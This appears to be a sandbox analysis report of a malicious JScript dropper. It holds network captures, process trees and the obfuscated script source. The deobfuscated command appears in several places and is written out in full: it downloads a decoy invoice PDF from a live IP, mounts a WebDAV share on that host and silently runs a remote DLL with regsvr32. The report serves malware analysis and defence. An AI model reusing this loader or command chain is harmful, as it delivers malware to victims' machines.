Jan 10, 2025 17:48:34.239948034 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 16:48:34 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 17:48:34.239968061 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 17:48:34.239979029 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 17:48:34.240000010 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 17:48:34.240010977 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 10, 2025 17:48:34.240022898 CET	1236	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 10, 2025 17:48:34.240036011 CET	776	IN	Data Raw: 7f d2 56 b9 b0 ca 60 14 1a 7d 8b d6 64 ac 87 ba a3 39 17 7d ba fc 73 a5 df 57 97 11 f3 ae ab 79 0e fd db 3e f7 59 b0 fa ab 59 7e f3 17 6e 2c f5 2f 62 f9 75 2c bc 94 a3 af e0 12 f7 b7 ca 3b 6d 78 b3 f5 d7 50 7e 36 a6 fe a7 10 80 2f 56 fd 3f 52 f1 Data Ascii: V`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(n7'iLlG?o9ZLAuI}uV'bF%&0$O-TfWS*ysl]ok:5UDsX\|FhI
Jan 10, 2025 17:48:34.240047932 CET	1236	IN	Data Raw: 31 74 38 1c da 3c f2 25 b4 3f 30 34 8a a1 47 12 43 ef bb 18 7a d5 1c 5a ba 68 0c 65 53 ee 06 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 f6 99 7b 0d 0a 31 30 30 30 0d 0a ec 68 17 f0 89 4a 7f 5b fe 6a c8 7c af be 7e 70 a9 d0 0b ca 25 d4 64 50 dd 40 53 e5 Data Ascii: 1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]
Jan 10, 2025 17:48:34.240060091 CET	1236	IN	Data Raw: dc 16 eb dc ec f6 e8 ab a9 37 57 e7 7a 68 38 78 ee 33 e8 68 ce 0e 8b a4 e1 5f 41 bf 23 3a 37 e4 9b 7b 41 c3 82 1c 9e e1 6b 6e b6 6b e9 a1 53 ff 63 0a c0 97 63 f5 62 82 1d b5 e8 81 a1 12 43 af ae d2 81 a1 e5 18 7a ad 63 68 c5 43 76 e4 f6 31 74 7f Data Ascii: 7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}zqZKd/A
Jan 10, 2025 17:48:34.240072966 CET	496	IN	Data Raw: c1 c5 d0 a3 79 0c 6d 8e 0d 1d c6 d0 b1 63 43 ff 64 53 ee c6 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 a6 f9 9b 6a fd 82 5c e9 3b fa 70 c9 dc 79 7f 29 8a 99 63 fe fc 99 83 52 0a 74 26 28 1f ab 97 bb 24 bd 20 d7 07 a0 54 7f d2 34 a8 34 d0 6f 5b ff db fa Data Ascii: ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9
Jan 10, 2025 17:48:34.297425985 CET	1236	IN	Data Raw: 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef 34 53 de 17 ca ee e1 79 be e9 2d a7 5f 50 f3 f3 00 b9 19 ed 5c dd ae 39 af 33 7c 4a fd 08 fc db 21 e9 da 32 e4 9b 1b 81 37 1b 8f cd 90 6f ee Data Ascii: \BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY;r\|MoMUtkpYLI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	2884	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 17:48:35.502440929 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 17:48:36.301613092 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 16:48:36 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	11:48:29
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\270782763316448754.js"
Imagebase:	0x7ff605df0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	11:48:30
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2216485416601.dll
Imagebase:	0x7ff6d7e40000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	11:48:30
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	11:48:30
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	11:48:34
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	11:48:34
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6d7e40000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	11:48:34
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff79c670000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	11:48:34
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	11:48:34
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	11:48:35
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2052 --field-trial-handle=1628,i,5742921726119356218,17289820269750902021,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function qbyke() {	qbyke() ➔ undefined
1	gaunmmnz = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var twdakgra = this[kszqdbfct + uubkstoiu + pmndv + hvtcfexqt + cmsse + byjbiylss + bowfev + qsind] ( this[revze + qnckqqjht + dweagts + pmndv + poppwoox + kszqdbfct + qsind][pvonpi + pmndv + cmsse + uubkstoiu + qsind + cmsse + zlevsbj + yajbrqza + dkefpi + cmsse + dweagts + qsind] ( revze + qnckqqjht + dweagts + pmndv + poppwoox + kszqdbfct + qsind + hicfplbub + qnckqqjht + gvlkzwhsh + cmsse + wxtkayan + wxtkayan ) [pksjutyh + cmsse + hukyin + pksjutyh + cmsse + uubkstoiu + dvxdjv] ( ndhvtwktq + xjdkab + tckpcub + xqfzsicgn + tqykozd + pvonpi + lfmztyv + pksjutyh + pksjutyh + tckpcub + torizozb + ozrasrar + tqykozd + lfmztyv + qnckqqjht + tckpcub + pksjutyh + mbvdrj + pvonpi + vgfktmu + bowfev + qsind + pmndv + vgfktmu + wxtkayan + opavwvbl + fujghkkr + uubkstoiu + bowfev + cmsse + wxtkayan + mbvdrj + byjbiylss + bowfev + qsind + cmsse + pmndv + bowfev + uubkstoiu + qsind + poppwoox + vgfktmu + bowfev + uubkstoiu + wxtkayan + mbvdrj + vijnufq + vgfktmu + dweagts + uubkstoiu + wxtkayan + cmsse ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( qpxkh = 0 ; qpxkh < gaunmmnz[wxtkayan + cmsse + bowfev + hukyin + qsind + gvlkzwhsh] ; ++ qpxkh )
4	{
5	if ( twdakgra == gaunmmnz[qpxkh] )
6	{
7	twdakgra = true;
8	break ;
9	}
10	}
11	if ( twdakgra !== true )
12	this[revze + qnckqqjht + dweagts + pmndv + poppwoox + kszqdbfct + qsind][hiiic + yieoclib + poppwoox + qsind] ( );
13	this[revze + qnckqqjht + dweagts + pmndv + poppwoox + kszqdbfct + qsind][pvonpi + pmndv + cmsse + uubkstoiu + qsind + cmsse + zlevsbj + yajbrqza + dkefpi + cmsse + dweagts + qsind] ( revze + qnckqqjht + dweagts + pmndv + poppwoox + kszqdbfct + qsind + hicfplbub + qnckqqjht + gvlkzwhsh + cmsse + wxtkayan + wxtkayan ) [pmndv + yieoclib + bowfev] ( dweagts + nkyik + dvxdjv + opavwvbl + zvkkvfm + dweagts + opavwvbl + kszqdbfct + vgfktmu + pgqamr + cmsse + pmndv + hvtcfexqt + gvlkzwhsh + cmsse + wxtkayan + wxtkayan + hicfplbub + cmsse + ardndhfeo + cmsse + opavwvbl + xwxajbada + pvonpi + vgfktmu + nkyik + nkyik + uubkstoiu + bowfev + dvxdjv + opavwvbl + nmnupqaod + byjbiylss + bowfev + qdjkufhbh + vgfktmu + izbkujxe + cmsse + xwxajbada + revze + cmsse + yajbrqza + pksjutyh + cmsse + vyywmb + yieoclib + cmsse + hvtcfexqt + qsind + opavwvbl + xwxajbada + zlevsbj + yieoclib + qsind + vuggsug + poppwoox + wxtkayan + cmsse + opavwvbl + dgicy + qsind + cmsse + nkyik + kszqdbfct + dgicy + mbvdrj + poppwoox + bowfev + qdjkufhbh + vgfktmu + poppwoox + dweagts + cmsse + hicfplbub + kszqdbfct + dvxdjv + dhgyjzcz + opavwvbl + gvlkzwhsh + qsind + qsind + kszqdbfct + ndrxabu + zvkkvfm + zvkkvfm + jvemj + auvscikhc + afrupzd + hicfplbub + jvemj + ujmvsawap + afrupzd + hicfplbub + jvemj + hicfplbub + yjdeomzvm + jpwtathw + tpammdc + zvkkvfm + poppwoox + bowfev + qdjkufhbh + vgfktmu + poppwoox + dweagts + cmsse + hicfplbub + kszqdbfct + gvlkzwhsh + kszqdbfct + nmnupqaod + skwphm + skwphm + hvtcfexqt + qsind + uubkstoiu + pmndv + qsind + opavwvbl + dgicy + qsind + cmsse + nkyik + kszqdbfct + dgicy + mbvdrj + poppwoox + bowfev + qdjkufhbh + vgfktmu + poppwoox + dweagts + cmsse + hicfplbub + kszqdbfct + dvxdjv + dhgyjzcz + skwphm + skwphm + dweagts + nkyik + dvxdjv + opavwvbl + zvkkvfm + dweagts + opavwvbl + bowfev + cmsse + qsind + opavwvbl + yieoclib + hvtcfexqt + cmsse + opavwvbl + mbvdrj + mbvdrj + jvemj + auvscikhc + afrupzd + hicfplbub + jvemj + ujmvsawap + afrupzd + hicfplbub + jvemj + hicfplbub + yjdeomzvm + jpwtathw + tpammdc + rjedzb + oauwza + oauwza + oauwza + oauwza + mbvdrj + dvxdjv + uubkstoiu + qdjkufhbh + pgqamr + pgqamr + pgqamr + pmndv + vgfktmu + vgfktmu + qsind + mbvdrj + skwphm + skwphm + dweagts + nkyik + dvxdjv + opavwvbl + zvkkvfm + dweagts + opavwvbl + pmndv + cmsse + hukyin + hvtcfexqt + qdjkufhbh + pmndv + afrupzd + yjdeomzvm + opavwvbl + zvkkvfm + hvtcfexqt + opavwvbl + mbvdrj + mbvdrj + jvemj + auvscikhc + afrupzd + hicfplbub + jvemj + ujmvsawap + afrupzd + hicfplbub + jvemj + hicfplbub + yjdeomzvm + jpwtathw + tpammdc + rjedzb + oauwza + oauwza + oauwza + oauwza + mbvdrj + dvxdjv + uubkstoiu + qdjkufhbh + pgqamr + pgqamr + pgqamr + pmndv + vgfktmu + vgfktmu + qsind + mbvdrj + yjdeomzvm + yjdeomzvm + jvemj + qdcddhym + ujmvsawap + oauwza + tpammdc + ujmvsawap + jvemj + qdcddhym + qdcddhym + jpwtathw + jvemj + hicfplbub + dvxdjv + wxtkayan + wxtkayan, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2216485416601.dll",0,false) ➔ 0
14	}
15	ndhvtwktq = "Q";
16	ndhvtwktq = "x";
17	ndhvtwktq = "d";
18	ndhvtwktq = "M";
19	ndhvtwktq = "G";
20	ndhvtwktq = "h";
21	ndhvtwktq = "y";
22	ndhvtwktq = "V";
23	ndhvtwktq = "K";
24	ndhvtwktq = "u";
25	ndhvtwktq = "K";
26	ndhvtwktq = "f";
27	ndhvtwktq = "y";
28	ndhvtwktq = "h";
29	ndhvtwktq = "u";
30	ndhvtwktq = "s";
31	ndhvtwktq = "k";
32	ndhvtwktq = "L";
33	ndhvtwktq = "D";
34	ndhvtwktq = "R";
35	ndhvtwktq = "C";
36	ndhvtwktq = "U";
37	ndhvtwktq = "Z";
38	ndhvtwktq = "D";
39	ndhvtwktq = "D";
40	ndhvtwktq = "i";
41	ndhvtwktq = "T";
42	ndhvtwktq = "j";
43	ndhvtwktq = "R";
44	ndhvtwktq = "X";
45	ndhvtwktq = "C";
46	ndhvtwktq = "L";
47	ndhvtwktq = "H";
48	ozrasrar = "r";
49	ozrasrar = "R";
50	ozrasrar = "y";
51	ozrasrar = "g";
52	ozrasrar = "y";
53	ozrasrar = "C";
54	ozrasrar = "V";
55	ozrasrar = "A";
56	ozrasrar = "S";
57	ozrasrar = "J";
58	ozrasrar = "c";
59	ozrasrar = "H";
60	ozrasrar = "L";
61	ozrasrar = "c";
62	ozrasrar = "F";
63	ozrasrar = "I";
64	ozrasrar = "N";
65	ozrasrar = "y";
66	ozrasrar = "f";
67	ozrasrar = "x";
68	ozrasrar = "Q";
69	ozrasrar = "X";
70	ozrasrar = "W";
71	ozrasrar = "A";
72	ozrasrar = "G";
73	ozrasrar = "c";
74	ozrasrar = "r";
75	ozrasrar = "X";
76	ozrasrar = "w";
77	ozrasrar = "o";
78	ozrasrar = "D";
79	ozrasrar = "r";
80	ozrasrar = "T";
81	xjdkab = "d";
82	xjdkab = "s";
83	xjdkab = "h";
84	xjdkab = "U";
85	xjdkab = "I";
86	xjdkab = "A";
87	xjdkab = "D";
88	xjdkab = "j";
89	xjdkab = "q";
90	xjdkab = "F";
91	xjdkab = "S";
92	xjdkab = "i";
93	xjdkab = "I";
94	xjdkab = "Q";
95	xjdkab = "q";
96	xjdkab = "g";
97	xjdkab = "P";
98	xjdkab = "J";
99	xjdkab = "K";
100	qdjkufhbh = "d";
101	qdjkufhbh = "K";
102	qdjkufhbh = "p";
103	qdjkufhbh = "z";
104	qdjkufhbh = "u";
105	qdjkufhbh = "a";
106	qdjkufhbh = "j";
107	qdjkufhbh = "T";
108	qdjkufhbh = "I";
109	qdjkufhbh = "c";
110	qdjkufhbh = "i";
111	qdjkufhbh = "F";
112	qdjkufhbh = "P";
113	qdjkufhbh = "d";
114	qdjkufhbh = "Y";
115	qdjkufhbh = "O";
116	qdjkufhbh = "v";
117	qdjkufhbh = "U";
118	qdjkufhbh = "t";
119	qdjkufhbh = "G";
120	qdjkufhbh = "o";
121	qdjkufhbh = "c";
122	qdjkufhbh = "Y";
123	qdjkufhbh = "A";
124	qdjkufhbh = "V";
125	qdjkufhbh = "Z";
126	qdjkufhbh = "G";
127	qdjkufhbh = "w";
128	qdjkufhbh = "D";
129	qdjkufhbh = "P";
130	qdjkufhbh = "x";
131	qdjkufhbh = "M";
132	qdjkufhbh = "o";
133	qdjkufhbh = "B";
134	qdjkufhbh = "w";
135	qdjkufhbh = "i";
136	qdjkufhbh = "v";
137	byjbiylss = "l";
138	byjbiylss = "I";
139	byjbiylss = "s";
140	byjbiylss = "r";
141	byjbiylss = "h";
142	byjbiylss = "D";
143	byjbiylss = "F";
144	byjbiylss = "J";
145	byjbiylss = "m";
146	byjbiylss = "p";
147	byjbiylss = "Z";
148	byjbiylss = "k";
149	byjbiylss = "x";
150	byjbiylss = "Y";
151	byjbiylss = "U";
152	byjbiylss = "K";
153	byjbiylss = "x";
154	byjbiylss = "x";
155	byjbiylss = "g";
156	byjbiylss = "U";
157	byjbiylss = "w";
158	byjbiylss = "u";
159	byjbiylss = "W";
160	byjbiylss = "Z";
161	byjbiylss = "O";
162	byjbiylss = "l";
163	byjbiylss = "F";
164	byjbiylss = "M";
165	byjbiylss = "U";
166	byjbiylss = "Z";
167	byjbiylss = "O";
168	byjbiylss = "D";
169	byjbiylss = "c";
170	byjbiylss = "U";
171	byjbiylss = "P";
172	byjbiylss = "E";
173	byjbiylss = "N";
174	byjbiylss = "c";
175	byjbiylss = "r";
176	byjbiylss = "j";
177	byjbiylss = "q";
178	byjbiylss = "j";
179	byjbiylss = "e";
180	byjbiylss = "I";
181	auvscikhc = "t";
182	auvscikhc = "X";
183	auvscikhc = "o";
184	auvscikhc = "v";
185	auvscikhc = "N";
186	auvscikhc = "C";
187	auvscikhc = "Z";
188	auvscikhc = "k";
189	auvscikhc = "B";
190	auvscikhc = "T";
191	auvscikhc = "9";
192	nmnupqaod = "t";
193	nmnupqaod = "J";
194	nmnupqaod = "A";
195	nmnupqaod = "x";
196	nmnupqaod = "m";
197	nmnupqaod = "B";
198	nmnupqaod = "h";
199	nmnupqaod = "\"";
200	opavwvbl = "m";
201	opavwvbl = "L";
202	opavwvbl = "g";
203	opavwvbl = "r";
204	opavwvbl = "t";
205	opavwvbl = "V";
206	opavwvbl = "J";
207	opavwvbl = "h";
208	opavwvbl = "f";
209	opavwvbl = "h";
210	opavwvbl = "R";
211	opavwvbl = "J";
212	opavwvbl = "b";
213	opavwvbl = "l";
214	opavwvbl = "L";
215	opavwvbl = "G";
216	opavwvbl = "j";
217	opavwvbl = "m";
218	opavwvbl = "K";
219	opavwvbl = "w";
220	opavwvbl = "Z";
221	opavwvbl = "h";
222	opavwvbl = "q";
223	opavwvbl = "P";
224	opavwvbl = "T";
225	opavwvbl = "E";
226	opavwvbl = "r";
227	opavwvbl = "r";
228	opavwvbl = "n";
229	opavwvbl = "E";
230	opavwvbl = "y";
231	opavwvbl = "v";
232	opavwvbl = "F";
233	opavwvbl = "l";
234	opavwvbl = "K";
235	opavwvbl = "x";
236	opavwvbl = "z";
237	opavwvbl = "L";
238	opavwvbl = "m";
239	opavwvbl = "z";
240	opavwvbl = "X";
241	opavwvbl = "P";
242	opavwvbl = "W";
243	opavwvbl = "R";
244	opavwvbl = " ";
245	vuggsug = "X";
246	vuggsug = "e";
247	vuggsug = "B";
248	vuggsug = "H";
249	vuggsug = "b";
250	vuggsug = "V";
251	vuggsug = "B";
252	vuggsug = "V";
253	vuggsug = "e";
254	vuggsug = "Y";
255	vuggsug = "X";
256	vuggsug = "h";
257	vuggsug = "o";
258	vuggsug = "m";
259	vuggsug = "A";
260	vuggsug = "c";
261	vuggsug = "r";
262	vuggsug = "Y";
263	vuggsug = "F";
264	vuggsug = "K";
265	vuggsug = "W";
266	vuggsug = "q";
267	vuggsug = "v";
268	vuggsug = "R";
269	vuggsug = "t";
270	vuggsug = "S";
271	vuggsug = "F";
272	vuggsug = "k";
273	vuggsug = "S";
274	vuggsug = "B";
275	vuggsug = "m";
276	vuggsug = "W";
277	vuggsug = "l";
278	vuggsug = "b";
279	vuggsug = "D";
280	vuggsug = "W";
281	vuggsug = "m";
282	vuggsug = "A";
283	vuggsug = "F";
284	dkefpi = "h";
285	dkefpi = "N";
286	dkefpi = "M";
287	dkefpi = "l";
288	dkefpi = "f";
289	dkefpi = "a";
290	dkefpi = "l";
291	dkefpi = "v";
292	dkefpi = "f";
293	dkefpi = "S";
294	dkefpi = "L";
295	dkefpi = "U";
296	dkefpi = "N";
297	dkefpi = "n";
298	dkefpi = "N";
299	dkefpi = "c";
